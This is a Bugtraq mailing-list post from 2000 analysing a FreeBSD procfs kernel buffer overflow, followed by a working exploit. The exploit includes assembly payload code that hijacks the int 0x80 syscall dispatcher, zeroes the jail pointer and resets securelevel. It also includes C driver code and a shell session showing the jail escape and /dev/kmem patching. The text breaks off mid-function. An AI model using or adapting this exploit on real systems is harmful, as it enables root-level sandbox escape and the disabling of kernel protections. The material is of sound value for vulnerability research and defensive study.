Date sent: Thu, 28 Dec 2000 21:29:37 +0200 Send reply to: Esa Etelavuori From: Esa Etelavuori Subject: Exploiting Kernel Buffer Overflows FreeBSD Style To: BUGTRAQ@SECURITYFOCUS.COM -----BEGIN PGP SIGNED MESSAGE----- Exploiting Kernel Buffer Overflows FreeBSD Style: Defeating Security Levels and Breaking Out of Jail(2) Esa Etelavuori December 28, 2000 1. Introduction This is a detailed case study discussing the exploitation of the FreeBSD kernel process filesystem buffer overflow vulnerability [7]. This is FreeBSD/i386 specific, but some of these techniques are applicable to other systems, and perhaps give a new insight to regular buffer overflows. There is not much public information about this subject, although a search for kernel buffer overflows reveals some interesting cases. Silvio Cesare's kmem patching article [1] is a good basis. Knowledge of the FreeBSD kernel implementation [5, 6], and the IA-32 architecture [2] would be useful. See the FreeBSD manual pages of jail(8) and init(8) for a description of the jail mechanism and security levels. 2. Vulnerability Analysis It is essential to have a good understanding of the vulnerability when exploiting kernel space holes, because we are likely to have only one try as mistakes result in a system crash. 2.1 Understanding the Vulnerability 4.4BSD procfs implementation has been broken since the beginning, but the final blow came from jail(2). The buffer overflow happens when a jail has been setup with a long hostname (up to 255 bytes) or huge gids are used, and a program's status is read through procfs. Procfs status information looks like this: # cat /proc/curproc/status cat 60424 60386 60424 60386 5,0 ctty 972854153,236415 0,0 0,1043\ nochan 0 0 0,0 prisoner Fields are: comm pid ppid pgid sid maj,min ctty,sldr start user/system time\ wmsg euid ruid rgid,egid,groups[1 .. NGROUPS] jail's hostname Vulnerable kernel can be crashed like this: # jail / `perl -e 'print "x" x 250'` 1.2.3.4 /bin/cat /proc/curproc/status Here is the actual culprit, src/sys/miscfs/procfs/procfs_status.c: int procfs_dostatus(curp, p, pfs, uio) struct proc *curp; struct proc *p; char *ps; int xlen; int error; char psbuf[256]; /* XXX - conservative */ ps = psbuf; <...snip> for (i = 0; i < cr->cr_ngroups; i++) ps += sprintf(ps, ",%lu", (u_long)cr->cr_groups[i]); if (p->p_prison) ps += sprintf(ps, " %s", p->p_prison->pr_host); else ps += sprintf(ps, " -"); ps += sprintf(ps, "\n"); xlen = ps - psbuf; xlen -= uio->uio_offset; ps = psbuf + uio->uio_offset; xlen = imin(xlen, uio->uio_resid); if (xlen <= 0) error = 0; else error = uiomove(ps, xlen, uio); return (error); } Basic mistakes, but even the jail overflow has been in the FreeBSD source tree for over 18 months. Psbuf is declared as the last local variable that seems to cause problems (that we could overcome) because ps would get overwritten. Further investigation is needed to see what kind of code the compiler has generated with default optimizations (-O). # nm /kernel | grep "T procfs_dostatus" c0170d64 T procfs_dostatus # objdump -d /kernel --start-address=0xc0170d64 | less c0170d64 : c0170d64: 55 push %ebp c0170d65: 89 e5 mov %esp,%ebp c0170d67: 81 ec 24 01 00 00 sub $0x124,%esp c0170d6d: 57 push %edi c0170d6e: 56 push %esi c0170d6f: 53 push %ebx c0170d70: 8b 45 14 mov 0x14(%ebp),%eax ps += sprintf(ps, "\n"); c017100c: 68 cb 0d 24 c0 push $0xc0240dcb c0171011: 56 push %esi c0171012: e8 21 62 fd ff call c0147238 c0171017: 01 c6 add %eax,%esi xlen = ps - psbuf; c0171019: 8d 95 00 ff ff ff lea 0xffffff00(%ebp),%edx c017101f: 89 f1 mov %esi,%ecx c0171021: 29 d1 sub %edx,%ecx Ps is optimized to use %esi and psbuf is at the top of the stack frame (referenced as -256(%ebp)). After disassembling GENERIC kernels and compiling new ones with different optimization settings using GCC coming with FreeBSD releases, it seems that the above code can be considered as a safe default to base the exploitation process on. 2.2 Taking Control of the Processor When exploiting the overflow by using gids, we have a very constrained character set to use. The overflow ends with '\n\0' so only limited addresses can be reached. We would need to be lucky to reach suitable code. However, we can reach the current program's stack with a one-byte frame pointer overflow [3, 4] and other data areas with a two-byte overflow. We can read the top of our process' kernel space stack from p->p_md.md_regs, which is at the top of a two-page user area. I do not know a simple method for filling reachable areas with our data, but brute forcing by filling user-controlled areas with a fake stack frame (only a dummy fp and a saved program counter are needed), executing several programs, and searching for the right data by reading kmem works and can be automated. Apparently space used for argument copies is reachable and static enough to be usable with the two-byte overflow. This could be used to break securelevels on other BSDs, as well. But what happens if the kernel has been compiled without using a frame pointer? Looking at the source again, we can see that curp and p arguments, which are just above the saved return address, are not used after the overflow. This means that we can pad the overflowing hostname with two return addresses, and if a frame pointer is not used, the second one trashes curp and trailing '\n\0' trashes p, which is still safe. Now we can be pretty sure that we can control the program flow. There are endless ways how to continue exploitation from here. The "right" approach depends on the situation, and every open source kernel can be different. The following example is meant to illustrate some points when playing with the kernel, and not to be an optimal exploit. 3. Payload Creation Our goal is to break out of jail and reset the security level to insecure state. We can escape jail by zeroing our process' jail pointer. The process flags still contain indication of jail, but it does not matter as the main checks look for validity of the jail pointer. The process' root directory can be set to the system root, bypassing chroot(2) used by jail(2). We can reset the security level by writing a value below 1 to the address of the securelevel variable (signed int). We need to get exact addresses of variables we want to access. Even in most basic jail installation /kernel and /dev/{mem,kmem} probably are links to /dev/null, so exact addresses cannot be read using them. However, the FreeBSD kernel gives out all needed symbol table information to anyone through kldsym(2), which can be easily used via the kvm(3) library. 3.1 Payload Execution We can redirect the program flow by stopping a dummy process so its status information does not change, use it to calculate the exact length of a new hostname containing the payload, set the hostname, and read the status again. We could reach the payload by calculating the approximate distance from the top of the stack to the buffer filled with NOPs. But we can locate the exact address by reading the prison structure's location from our own process structure via kvm(3), which uses KERN_PROC sysctl(3). If we had not been jailed, we could have used the kernel MIB for data transfers from user to kernel space. 3.2 Payload Exit What do we do after the payload has been triggered? The running program could be forced to terminate, but that could cause unexpected side effects due to it being in kernel space. The program could be holding locks (procfs lock in this case) and other resources that should be released. The safest way is to resume execution as if nothing unusual had occurred. There happens just a few byte side step. The problem is that we do not know exactly where to return if we cannot read the kernel code before attack. We could let the payload scan for a call to procfs_dostatus() to calculate the return address at run-time. However, the frame pointer might also need adjusting, and we cannot be certain that it is done right. We could rely on a common case again, but if we have survived up to this point, we do not want to fail now. We can put the program to sleep after the payload has been triggered. When we get out of the jailed environment, we can adjust the frame pointer and the return address correctly, and signal the program to continue its trip safely back to user space. We can tune the payload for the common case, so that the overwritten frame pointer is set to a usually correct value at run-time by using the stack pointer, and calculating the difference with the help of disassembly of the previous function, procfs_rw. This can be fixed / NOPped out later if needed. 3.3 The Gate to Freedom Because we have stopped the process that is under our control, we cannot modify its attributes to escape jail. We have to modify some other process. The process structure has a pointer to its parent, we could use that. We could modify the system call table, system calls, and almost anything else. Plenty of possibilities, but perhaps the neatest way is to hijack the whole system call dispatcher, the famous int 0x80. We could modify its Trap Gate descriptor in the Interrupt Descriptor Table, but let's look at the code, src/sys/i386/i386/exception.s: /* * Call gate entry for FreeBSD ELF and Linux/NetBSD syscall (int 0x80) * * Even though the name says 'int0x80', this is actually a TGT (trap gate) * rather then an IGT (interrupt gate). Thus interrupts are enabled on * entry just as they are for a normal syscall. * * We do not obtain the MP lock, but the call to syscall2 might. If it * does it will release the lock prior to returning. */ SUPERALIGN_TEXT IDTVEC(int0x80_syscall) subl $8,%esp /* skip over tf_trapno and tf_err */ pushal pushl %ds pushl %es pushl %fs mov $KDSEL,%ax /* switch to kernel segments */ mov %ax,%ds mov %ax,%es MOVL_KPSEL_EAX mov %ax,%fs movl $2,TF_ERR(%esp) /* sizeof "int 0x80" */ FAKE_MCOUNT(13*4(%esp)) MPLOCKED incl _cnt+V_SYSCALL call _syscall2 MEXITCOUNT cli /* atomic astpending access */ cmpl $0,_astpending je doreti_syscall_ret It saves all user registers on the stack, loads kernel selectors, and calls the actual handler, syscall2. That is fine for us. KDSEL is a data segment selector that covers the entire address range with read-write access. KPSEL is a per-cpu private selector that is important on multiprocessor machines to locate certain structures such as the current process. We can simply let the payload scan for the call to syscall2 and replace it with a pointer to our code that will jump to the real syscall2 or return after it has done what we want. What we want is to escape jail so we will check in our patched syscall handler for a particular system call number, and patch a process pointed by the %fs:gd_curproc variable, which is the process that called us. When we want to get out of jail, we will call our new system call that does not even exist if you look at original system calls or use ktrace(1), because ktracing is implemented in syscall2. This can be risky in many ways. A simple scan for the right call opcode could fail if there happens to be another similar byte, but int0x80_syscall has been stable, so it should not be a problem. This small cross-modifying code and process modifications should work on MP machines without further locking. Blocking interrupts and getting extra locks take only a few bytes, though. 3.4 Other Considerations This approach uses many symbols that increases possibility of zero bytes in addresses. Most likely it does not matter, because the payload can be easily modified and its position can be varied as needed. We could embed NUL bytes by constructing the hostname in several phases, and adjusting the overflow length with gids as needed. But we will add a standard XOR decoder to have more features. When the last process within a jail exits, its prison structure is normally destroyed. Our zeroing of the prison pointer does not modify the prison reference count, so the memory for the payload stays allocated. 4. Conquering Kernel Space It is time to put the exploit to action. # id uid=0(root) gid=0(wheel) groups=0(wheel), 65534(nobody) # uname -sr FreeBSD 4.1.1-RELEASE # hostname alcatraz.n3t # pwd /tmp # sysctl -w kern.securelevel=0 kern.securelevel: 3 sysctl: kern.securelevel: Operation not permitted # ipfw add 1 allow ip from any to any ipfw: socket: Operation not permitted # # Locks seem to be working, but not for long. # ./e prison name @ 0xc0de8404 payload len = 136 decoder skip @ 0xc0de8415 Xint0x80_syscall @ 0xc021b120 new syscall2 @ 0xc0de844d tsleep @ 0xc01431cc hostname @ 0xc029fba0 syscall2 @ 0xc0226f4c gd_curproc @ 0xc0282160 rootvnode @ 0xc02a0224 securelevel @ 0xc0270884 procfs_rw @ 0xc01743e4 payload ret fix @ 0xc0de844d >>> ok? y # pwd /jail/10.9.8.7/tmp # sysctl kern.securelevel kern.securelevel: -1 # ipfw add 1 allow ip from any to any 00001 allow ip from any to any # ipfw -a l | head -1 00001 645 307084 allow ip from any to any # hostname paperbag.c0m # ps -opid,ppid,stat,wchan,flags,ucomm -t`tty` PID PPID STAT WCHAN F UCOMM 10908 10907 IsJ wait 1004086 sh 10929 10908 IJ wait 1004086 sh 10936 10929 IJ wait 1004086 e 10937 10936 TJ - 1001006 e *0938 10936 DJ paperb 1000006 e 10939 10936 I wait 4086 sh 10940 10939 S wait 4086 sh 10950 10940 R+ - 4006 ps # # Nice. New forked processes have no J(ail) flag. We can also # # see that pid *0938 has the hostname as its wait message. # objdump -d /kernel --start-address=0xc01743e4 | less c01743e4 : c01743e4: 55 push %ebp c01743e5: 89 e5 mov %esp,%ebp c01743e7: 83 ec 08 sub $0x8,%esp c01743ea: 57 push %edi c01743eb: 56 push %esi c01743ec: 53 push %ebx c01743ed: 8b 45 08 mov 0x8(%ebp),%eax <...snip> c01744ef: e8 40 f8 ff ff call c0173d34 c01744f4: eb 4e jmp c0174544 # # Looks like a common case so %ebp is correct and just the return # # address needs modification. /kernel could be a fake, but let's silence # # our paranoia for a while. After all, this is just a simple demo. # dd if=/dev/kmem skip=0xc0de844d bs=1 count=4 2>/dev/null | hexdump -C 00000000 ba dc 0d e5 |....| 00000004 # # That's the return address. # perl -e 'print chr 0x44, chr 0x45, chr 0x17, chr 0xc0' | \ > dd of=/dev/kmem seek=0xc0de844d bs=1 count=4 2>/dev/null # dd if=/dev/kmem skip=0xc0de844d bs=1 count=4 2>/dev/null | hexdump -C 00000000 44 45 17 c0 |DE..| 00000004 # # Now we can inform our sleeping process in the kernel. # h=`hostname` && hostname X && sleep 5 && hostname $h # ps -opid,ppid,stat,wchan,flags,ucomm -t`tty` PID PPID STAT WCHAN F UCOMM 10908 10907 IsJ wait 1004086 sh 10929 10908 IJ wait 1004086 sh 10936 10929 IJ wait 1004086 e 10937 10936 TJ - 1001006 e 10938 10936 ZJ - 1002006 e 10939 10936 I wait 4086 sh 10940 10939 S wait 4086 sh 10992 10940 R+ - 4006 ps # # Yep, the kid got safely out of the kernel just to become a zombie. ;] Now the intruder is free to build a new base into the kernel. 5. Conclusions Exploiting kernel space buffer overflows is similar to user space holes, but we have to be more careful, and understand the vulnerability and the system better. The ability to execute arbitrary code using the most privileged processor mode in a flat kernel makes everything possible, and is the ultimate technical weapon for intruders. In this case the kernel buffer overflow has turned out to be quite easy to exploit due to helpful cooperation from the kernel. Even if we did not have symbol table information and a binary-only kernel, we might be able to copy it or an equivalent version to a laboratory machine for extra analysis and testing. Most operating systems do not even try to offer this much protection. Given the sad state of computer security, perhaps the only trustworthy solution is to use open source systems. Although verifying them is impossible, a skilled defender has more possibilities to harden the kernel and prepare for eventual failure of prevention. Adding non-obvious auditing mechanisms might help to detect attackers who do fairly decent kernel modifications and disable normal protection mechanisms. Acknowledgments Thanks to Andrew R. Reiter for reviewing and commenting this paper, and Pascal Bouchareine for a multiprocessor machine and comments. Greets to Jouko Pynnonen, and the Hacker Emergency Response Team. References [1] Cesare, Silvio, "RUNTIME KERNEL KMEM PATCHING," November 1998. http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt [2] Intel, The IA-32 Intel Architecture Software Developer's Manual, Volumes 1-3. http://developer.intel.com/design/litcentr/index.htm [3] Kirch, Olaf., "The poisoned NUL byte", Bugtraq mailing list, October 1998. http://www.securityfocus.com/archive/1/10884 [4] Klog, "The Frame Pointer Overwrite," Phrack Magazine, October 1999, Vol. 9, No. 55. http//phrack.infonexus.com/search.phtml?view&article=p55-8 [5] McKusick, Marshall Kirk et al, The Design and Implementation of the 4.4BSD Operating System, Addison-Wesley, Reading, MA, 1996. [6] The FreeBSD Project, The FreeBSD 4 kernel source code. http://www.FreeBSD.org/cgi/cvsweb.cgi/src/sys/ [7] The FreeBSD Project, "Several vulnerabilities in procfs," FreeBSD Security Advisory: FreeBSD-SA-00:77, December 2000. ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:77.procfs. asc Appendix A - Exploit /* freesploit.S * FreeBSD/i386 4.0-4.1.1 jail(2) break & security level exploit (procfs) */ #include "freesploit.h" .globl payload .globl payload_end .globl new_syscall2 #ifdef XOR_PAYLOAD .globl decoder_end .equ XOR_LEN, payload_end - decoder_end #endif payload: push %eax #ifdef XOR_PAYLOAD push %ecx decoder: mov $SYM_MARKER,%eax //p->prison->name + decoder skip xor %ecx,%ecx movb $XOR_LEN,%cl xor_loop: xorb $XOR_CHAR,(%eax) inc %eax loop xor_loop decoder_end: #endif syscall_patcher: #ifndef XOR_PAYLOAD push %ecx #endif mov $SYM_MARKER,%eax //Xint0x80_syscall call_scan: inc %eax cmpb $0xe8,(%eax) //call opcode jne call_scan mov $SYM_MARKER,%ecx //new syscall - 5 (call len) sub %eax,%ecx //relative call len xchg %ecx,1(%eax) //atomic tsleeper: push %ebx sleep_again: mov $SYM_MARKER,%ecx //tsleep mov $SYM_MARKER,%ebx //hostname push $0x2 push %ebx push $0x2 push %ebx call *%ecx add $0x10,%esp cmpb $0x58,(%ebx) //XXX jne sleep_again pop %ebx pop %ecx pop %eax fp_fix: lea FP_ADD(%esp),%ebp payload_ret_fix: push $0xe50ddcba ret new_syscall2: // %esp -> saved %eip, trapframe cmpw $NEW_SYSCALL,TF_EAX+4(%esp) je breakout push $SYM_MARKER //syscall2 ret breakout: push %eax push %ebx push %ecx mov %fs:(SYM_MARKER),%ecx //gd_curproc //p->p_fd->fd_rdir = rootvnode mov (SYM_MARKER),%eax //rootvnode mov P_FD(%ecx),%ebx mov %eax,FD_RDIR(%ebx) //XXX //p->p_prison = NULL xor %eax,%eax pushw %ax pushw $P_PRISON pop %ebx mov %eax,(%ebx,%ecx) //XXX //seclvl_reset dec %eax mov %eax,SYM_MARKER //securelevel XXX pop %ecx pop %ebx pop %eax ret payload_end: .byte 0 /* freesploit.c * FreeBSD/i386 4.0-4.1.1 jail(2) break & security level exploit (procfs) * by Esa Etelavuori (http://www.iki.fi/ee/) in 2000. * * This program is free software; you can modify it as much * you want, claim it is yours, steal it, sell it for billions, * and use it to mess your life, but do not bother anyone else. */ #include #define _KERNEL #include #undef _KERNEL #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "freesploit.h" #define XBUF 512 #define SYM_WIDTH "-16" static pid_t stopper_kid = 0; static pid_t trigger_kid = 0; static kvm_t *kd = NULL; static struct kinfo_proc *kproc = NULL; static char orig_hname[MAXHOSTNAMELEN+1] = {0}; struct kinfo_proc { struct proc kp_proc; }; #define PRISON_HOST_ADDR() ((unsigned int)kproc->kp_proc.p_prison \ + offsetof(struct prison, pr_host)) extern void payload(void); extern void payload_end(void); extern void new_syscall2(void); #ifdef XOR_PAYLOAD extern void decoder_end(void); #endif static void stopper(void); static void trigger(void); static void master(void); static void payloader(void); static void linker(char *); static void zero_check(int); static ssize_t get_stats_len(pid_t); static unsigned int get_sym(const char *); static void fix_payload_return(const char *); static void init_kvm(int); static void cleanup(void); int main(int ac, char **av) { if (ac == 1) master(); else if (ac == 2) fix_payload_return(av[1]); return 1; } static void stopper(void) { kill(getpid(), SIGSTOP); _exit(1); } static void trigger(void) { get_stats_len(stopper_kid); if (sethostname(orig_hname, strlen(orig_hname))) perror("sethostname"); _exit(0); } static void master(void) { int stats; stopper_kid = fork(); if (stopper_kid < 0) err(1, "fork"); if (!stopper_kid) stopper(); atexit(cleanup); init_kvm(O_RDONLY); while (waitpid(stopper_kid, &stats, WUNTRACED) && !WIFSTOPPED(stats)) ; payloader(); trigger_kid = fork(); if (trigger_kid < 0) err(1, "fork"); if (!trigger_kid) trigger(); sleep(3); syscall(NEW_SYSCALL, NULL); system("/bin/sh"); exit(0); } static void payloader(void) { unsigned int payload_addr; ssize_t len; char buf[XBUF]; char *p; payload_addr = PRISON_HOST_ADDR(); printf("%"SYM_WIDTH"s @ %#08x\n", "prison name", payload_addr); zero_check(payload_addr); if (offsetof(struct proc, p_prison) != P_PRISON || offsetof(struct proc, p_fd) != P_FD || offsetof(struct filedesc, fd_rdir) != FD_RDIR || offsetof(struct trapframe, tf_eax) != TF_EAX) errx(1, "struct / define mismatch"); len = (char *)payload_end - (char *)payload; printf("%"SYM_WIDTH"s = %d\n", "payload len", len); if (len > sizeof(buf) - 1) errx(1, "payload too big"); memcpy(buf, payload, len); buf[len] = '\0'; linker(buf); len = 256 - get_stats_len(stopper_kid); len -= strlen(buf); if (len < 0) errx(1, "stats too long"); p = buf; p += strlen(p); while (len--) *p++ = 'x'; for (len = 2; len--;) { *(unsigned int *)p = payload_addr; p += sizeof payload_addr; } *p = '\0'; if (sethostname(buf, strlen(buf))) err(1, "sethostname"); } static void linker(char *buf) { unsigned int addr, new_syscall2_addr; unsigned int i; ssize_t len; char *p; const char *syms[] = {"decoder skip", "Xint0x80_syscall", "new syscall2", "tsleep", "hostname", "syscall2", "gd_curproc", "rootvnode", "securelevel", NULL}; new_syscall2_addr = PRISON_HOST_ADDR() + ((char *)new_syscall2 - (char *)payload); p = buf; #ifdef XOR_PAYLOAD i = 0; #else i = 1; #endif for (len = (char *)payload_end - (char *)payload; len--; p++) { if (*(unsigned int *)p == SYM_MARKER) { #ifdef XOR_PAYLOAD if (i == 0) { addr = PRISON_HOST_ADDR() + (char *)decoder_end - (char *)payload; zero_check(addr); /* XXX */ } else #endif if (i == 2) /* - sizeof "call 0xbadc0de5" */ addr = new_syscall2_addr - 5; else addr = get_sym(syms[i]); printf("%"SYM_WIDTH"s @ %#08x\n", syms[i], addr); #ifndef XOR_PAYLOAD zero_check(addr); #endif *(unsigned int *)p = addr; if (syms[++i] == NULL) break; } } #ifdef XOR_PAYLOAD p = &buf[(char *)decoder_end - (char *)payload]; for (i = (char *)payload_end - (char *)decoder_end; i--;) *p++ ^= XOR_CHAR; #endif len = (char *)payload_end - (char *)payload; if (len != strlen(buf)) errx(1, "payload len %d != strlen %d\n", len, strlen(buf)); printf("%"SYM_WIDTH"s @ %#08x\n", "procfs_rw", get_sym("procfs_rw")); printf("%"SYM_WIDTH"s @ %#08x\n", "payload ret fix", new_syscall2_addr - 5); /* XXX */ fprintf(stderr, ">>> ok? "); if (getchar() != 'y') exit(1); } static void zero_check(int addr) { int i; for (i = 0; i < 32; i += 8) { if (!((addr >> i) & 0xff)) errx(1, "fix it\n"); } } static ssize_t get_stats_len(pid_t pid) { int fd; ssize_t n; char buf[XBUF]; snprintf(buf, sizeof buf, "/proc/%d/status", pid); if ((fd = open(buf, O_RDONLY)) == -1) err(1, "proc open"); if ((n = read(fd, buf, sizeof buf)) < 10) err(1, "proc read"); close(fd); if (gethostname(buf, sizeof buf)) err(1, "gethostname"); if (*orig_hname == '\0') snprintf(orig_hname, sizeof orig_hname, "%s", buf); return n - 1 - strlen(buf); } static unsigned int get_sym(const char *s) { struct nlist nl[2]; nl[0].n_name = (char *)s; nl[1].n_name = NULL; if (kvm_nlist(kd, nl)) err(1, "kvm_nlist"); return nl[0].n_value; } static void fix_payload_return(const char *s) { FILE *fh; unsigned int addr, ret_addr; char cmd[XBUF]; const char *fmt = "/usr/bin/objdump -d --start-address=0x%x " "--stop-address=0x%x /kernel | /usr/bin/grep -A1 " "procfs_dostatus | /usr/bin/tail -1"; init_kvm(O_RDWR); addr = get_sym("procfs_rw"); snprintf(cmd, sizeof cmd, fmt, addr, addr + 0x400); if ((fh = popen(cmd, "r")) == NULL) err(1, "popen"); if (fscanf(fh, "%x:", &ret_addr) != 1) err(1, "fscanf"); pclose(fh); addr = strtoul(s,